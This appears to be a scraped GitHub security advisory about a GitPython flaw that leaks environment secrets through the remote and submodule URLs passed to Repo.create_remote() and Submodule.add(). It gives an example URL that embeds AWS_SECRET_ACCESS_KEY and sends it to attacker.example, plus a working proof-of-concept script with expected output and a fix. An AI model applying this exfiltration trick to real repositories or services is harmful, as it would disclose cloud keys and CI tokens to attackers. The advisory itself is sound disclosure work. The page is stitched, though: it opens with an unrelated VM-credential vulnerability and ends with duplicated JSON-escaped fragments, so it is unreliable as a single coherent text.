This vulnerability allows a local attacker with the ability to inspect running processes to expose sensitive guest virtual machine (VM) credentials, such as rootPassword and userPassword. This occurs when the install_machine.py script passes these credentials as a JSON command-line argument during VM creation or installation.

GHSA-94P4-4CQ8-9G67
Vulnerability from github – Published: 2026-07-24 21:45 – Updated: 2026-09-24 14:39Summary
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.
Root Cause
Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.
git/remote.py:811, Remote.create:
url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url) # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config
check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.
The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.
Steps to Reproduce
Prerequisites
- Python 3.9+
gitonPATH(for the fetch step)- GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53
Step 2: Write the PoC
cat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading
import git
print("gitpython version:", git.__version__)
# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL
# Local HTTP server standing in for attacker.example.
captured = []
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append(self.path)
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port
def norm(s): # display the ephemeral listener port as a stable placeholder
return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")
print("attacker-supplied URL :", norm(attacker_url))
repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url) # public API
stored = repo.remote("evil").url
print("stored remote URL :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)
try:
remote.fetch() # transmits the expanded URL to the attacker host
except Exception:
pass # fetch fails after the request is already sent
srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)
print()
if SENTINEL in stored and over_network:
print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
print("VULNERABLE: env-var expanded into stored git-config URL")
else:
print("not reproduced")
PYEOF
Step 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py
Expected output (the listener's ephemeral port is shown as PORT):
gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True
VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host
The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.
Suggested Fix
Pass expand_vars=False at the remaining URL callers, matching the clone fix:
git/remote.pyRemote.create:url = Git.polish_url(url, expand_vars=False)git/objects/submodule/base.pySubmodule.add:url = Git.polish_url(url, expand_vars=False)
More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.
Cleanup
rm -rf /tmp/gp-remote-poc
Impact
Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper\u0027s dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url) # expand_vars=True -\u003e os.path.expandvars(url)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url) # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs) # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host \u2014 the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc \u0026\u0026 cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat \u003e poc.py \u003c\u003c\u0027PYEOF\u0027\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL.

The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.",
